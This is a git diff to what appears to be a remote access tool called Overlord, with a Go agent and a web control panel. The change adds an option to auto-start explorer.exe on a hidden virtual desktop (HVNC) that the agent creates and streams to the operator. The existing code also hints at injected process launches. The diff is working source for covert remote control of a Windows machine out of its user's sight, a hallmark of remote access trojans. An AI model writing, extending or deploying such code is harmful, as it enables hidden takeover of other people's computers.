diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
index 567bc48..4831b21 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
@@ -16,35 +16,36 @@ import (
)
var (
- procCreateDesktopW = user32.NewProc("CreateDesktopW")
- procOpenDesktopW = user32.NewProc("OpenDesktopW")
- procCloseDesktop = user32.NewProc("CloseDesktop")
- procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
- procGetThreadDesktop = user32.NewProc("GetThreadDesktop")
- procSwitchDesktop = user32.NewProc("SwitchDesktop")
- procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
- procGetDesktopWindow = user32.NewProc("GetDesktopWindow")
- procGetWindowRect = user32.NewProc("GetWindowRect")
- procIsWindowVisible = user32.NewProc("IsWindowVisible")
- procPrintWindow = user32.NewProc("PrintWindow")
- procGetWindow = user32.NewProc("GetWindow")
- procGetTopWindow = user32.NewProc("GetTopWindow")
- procCreateProcessW = kernel32.NewProc("CreateProcessW")
- procSendInputHVNC = user32.NewProc("SendInput")
- procGetCursorPosHVNC = user32.NewProc("GetCursorPos")
- procWindowFromPoint = user32.NewProc("WindowFromPoint")
- procScreenToClient = user32.NewProc("ScreenToClient")
- procPostMessageW = user32.NewProc("PostMessageW")
- procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW")
- procSetWindowPos = user32.NewProc("SetWindowPos")
- procSetForegroundWindow = user32.NewProc("SetForegroundWindow")
- procSetActiveWindow = user32.NewProc("SetActiveWindow")
- procSetFocus = user32.NewProc("SetFocus")
- procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
- procGetAncestor = user32.NewProc("GetAncestor")
- procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
- procToUnicode = user32.NewProc("ToUnicode")
- procGetWindowPlacement = user32.NewProc("GetWindowPlacement")
+ procCreateDesktopW = user32.NewProc("CreateDesktopW")
+ procOpenDesktopW = user32.NewProc("OpenDesktopW")
+ procCloseDesktop = user32.NewProc("CloseDesktop")
+ procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
+ procGetThreadDesktop = user32.NewProc("GetThreadDesktop")
+ procSwitchDesktop = user32.NewProc("SwitchDesktop")
+ procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
+ procGetDesktopWindow = user32.NewProc("GetDesktopWindow")
+ procGetWindowRect = user32.NewProc("GetWindowRect")
+ procIsWindowVisible = user32.NewProc("IsWindowVisible")
+ procPrintWindow = user32.NewProc("PrintWindow")
+ procGetWindow = user32.NewProc("GetWindow")
+ procGetTopWindow = user32.NewProc("GetTopWindow")
+ procCreateProcessW = kernel32.NewProc("CreateProcessW")
+ procSendInputHVNC = user32.NewProc("SendInput")
+ procGetCursorPosHVNC = user32.NewProc("GetCursorPos")
+ procWindowFromPoint = user32.NewProc("WindowFromPoint")
+ procScreenToClient = user32.NewProc("ScreenToClient")
+ procPostMessageW = user32.NewProc("PostMessageW")
+ procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW")
+ procSetWindowPos = user32.NewProc("SetWindowPos")
+ procSetForegroundWindow = user32.NewProc("SetForegroundWindow")
+ procSetActiveWindow = user32.NewProc("SetActiveWindow")
+ procSetFocus = user32.NewProc("SetFocus")
+ procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
+ procGetAncestor = user32.NewProc("GetAncestor")
+ procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
+ procToUnicode = user32.NewProc("ToUnicode")
+ procGetWindowPlacement = user32.NewProc("GetWindowPlacement")
+ procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId")
)
const (
@@ -164,6 +165,7 @@ var (
hvncWindowToMove uintptr
hvncMouseButtons uint32
hvncPendingActivate uintptr
+ hvncExplorerStarted bool
hvncTaskSeq atomic.Uint64
hvncCurrentTaskID atomic.Uint64
hvncCurrentTaskKind atomic.Int64
@@ -186,6 +188,7 @@ const (
hvncTaskKeyDown
hvncTaskKeyUp
hvncTaskMouseWheel
+ hvncTaskAutoStartExplorer
)
type hvncTask struct {
@@ -361,6 +364,7 @@ func CleanupHVNCDesktop() {
hvncDesktopHandle = 0
}
hvncInitialized = false
+ hvncExplorerStarted = false
if hvncThreadTasks != nil {
close(hvncThreadTasks)
hvncThreadTasks = nil
@@ -450,6 +454,8 @@ func ensureHVNCThread() error {
result.err = hvncKeyOnThread(task.vk, false)
case hvncTaskMouseWheel:
result.err = hvncMouseWheelOnThread(task.delta)
+ case hvncTaskAutoStartExplorer:
+ result.err = hvncAutoStartExplorerOnThread()
default:
result.img, result.err = hvncCaptureDisplayOnThread(task.display)
}
@@ -503,6 +509,19 @@ func StartHVNCProcess(filePath string) error {
return result.err
}
+func HVNCAutoStartExplorer() error {
+ if hvncExplorerStarted {
+ return nil
+ }
+ result, err := executeHVNCTask(hvncTask{
+ kind: hvncTaskAutoStartExplorer,
+ }, 15*time.Second)
+ if err != nil {
+ return err
+ }
+ return result.err
+}
+
func HVNCInputMouseMove(display int, x, y int32) error {
result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y}, 3*time.Second)
if err != nil {
@@ -606,7 +625,7 @@ func hvncThreadWatchdog() {
func shouldTraceHVNCTask(kind hvncTaskKind) bool {
switch kind {
- case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected:
+ case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected, hvncTaskAutoStartExplorer:
return true
default:
return false
@@ -633,6 +652,8 @@ func hvncTaskKindName(kind hvncTaskKind) string {
return "key_up"
case hvncTaskMouseWheel:
return "mouse_wheel"
+ case hvncTaskAutoStartExplorer:
+ return "auto_start_explorer"
default:
return fmt.Sprintf("unknown(%d)", kind)
}
@@ -791,6 +812,60 @@ func startHVNCProcessOnThread(filePath string) error {
return nil
}
+func hvncAutoStartExplorerOnThread() error {
+ if hvncExplorerStarted {
+ return nil
+ }
+
+ found := false
+ hwnd := getTopWindow(0)
+ for hwnd != 0 {
+ var pid uint32
+ procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
+ if pid != 0 && isExplorerPID(pid) {
+ found = true
+ break
+ }
+ hwnd = getWindow(hwnd, GW_HWNDNEXT)
+ }
+
+ if found {
+ log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start")
+ hvncExplorerStarted = true
+ return nil
+ }
+
+ log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
+ err := startHVNCProcessOnThread("explorer.exe")
+ if err != nil {
+ return fmt.Errorf("auto-start explorer failed: %w", err)
+ }
+ hvncExplorerStarted = true
+ return nil
+}
+
+func isExplorerPID(pid uint32) bool {
+ const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
+ hProc, _, _ := kernel32.NewProc("OpenProcess").Call(
+ PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid),
+ )
+ if hProc == 0 {
+ return false
+ }
+ defer procCloseHandle.Call(hProc)
+
+ var buf [260]uint16
+ size := uint32(len(buf))
+ ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call(
+ hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)),
+ )
+ if ret == 0 {
+ return false
+ }
+ name := strings.ToLower(syscall.UTF16ToString(buf[:size]))
+ return strings.HasSuffix(name, `\explorer.exe`)
+}
+
func hvncMouseMoveOnThread(display int, x, y int32) error {
bounds, _ := hvncResolveCaptureBounds(display)
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 6062d09..72e414d 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -785,6 +785,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
// ==================== HVNC COMMANDS ====================
case "hvnc_start":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ autoStartExplorer := false
+ if payload != nil {
+ if v, ok := payload["autoStartExplorer"].(bool); ok {
+ autoStartExplorer = v
+ }
+ }
env.HVNCMu.Lock()
if env.HVNCCancel != nil {
env.HVNCCancel()
@@ -795,8 +802,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
done := make(chan struct{})
env.HVNCDone = done
goSafe("hvnc stream", env.Cancel, func() {
- log.Printf("hvnc: start requested")
- _ = HVNCStart(hvncCtx, env)
+ log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
+ _ = HVNCStart(hvncCtx, env, autoStartExplorer)
close(done)
})
env.HVNCMu.Unlock()
diff --git a/Overlord-Client/cmd/agent/handlers/hvnc.go b/Overlord-Client/cmd/agent/handlers/hvnc.go
index b3fa7c6..cf22201 100644
--- a/Overlord-Client/cmd/agent/handlers/hvnc.go
+++ b/Overlord-Client/cmd/agent/handlers/hvnc.go
@@ -26,7 +26,7 @@ func GetPersistedHVNCDisplay() int {
return hvncPersistedDisplayValue
}
-func HVNCStart(ctx context.Context, env *rt.Env) error {
+func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
capture.SetH264TargetFPS(fps)
log.Printf("hvnc: starting stream (max fps %d)", fps)
@@ -36,6 +36,14 @@ func HVNCStart(ctx context.Context, env *rt.Env) error {
return err
}
+ if autoStartExplorer {
+ go func() {
+ if err := capture.HVNCAutoStartExplorer(); err != nil {
+ log.Printf("hvnc: auto-start explorer error: %v", err)
+ }
+ }()
+ }
+
ticker := time.NewTicker(interval)
defer ticker.Stop()
for {
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index a5577cf..bebacc7 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -25,6 +25,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const mouseCtrl = document.getElementById("mouseCtrl");
const kbdCtrl = document.getElementById("kbdCtrl");
const cursorCtrl = document.getElementById("cursorCtrl");
+ const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
const qualitySlider = document.getElementById("qualitySlider");
const qualityValue = document.getElementById("qualityValue");
const codecH264 = document.getElementById("codecH264");
@@ -199,7 +200,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
display: parseInt(displaySelect.value, 10) || 0,
});
}
- sendCmd("hvnc_start", {});
+ sendCmd("hvnc_start", {
+ autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
+ });
} else {
setStreamState("idle", "Stopped");
}
@@ -426,7 +429,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
desiredStreaming = true;
lastFrameAt = 0;
setStreamState("starting", "Starting stream");
- sendCmd("hvnc_start", {});
+ sendCmd("hvnc_start", {
+ autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
+ });
});
stopBtn.addEventListener("click", function () {
desiredStreaming = false;
diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html
index 1d654a1..5436b81 100644
--- a/Overlord-Server/public/hvnc.html
+++ b/Overlord-Server/public/hvnc.html
@@ -127,6 +127,9 @@
+
diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts
index 5ebe36b..e367bdb 100644
--- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts
+++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts
@@ -560,7 +560,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st
switch (payload.type) {
case "hvnc_start":
if (!state.isStreaming) {
- sendHVNCCommand(target, "hvnc_start", {});
+ sendHVNCCommand(target, "hvnc_start", {
+ autoStartExplorer: payload.autoStartExplorer !== false,
+ });
state.isStreaming = true;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] started streaming for client ${clientId}`);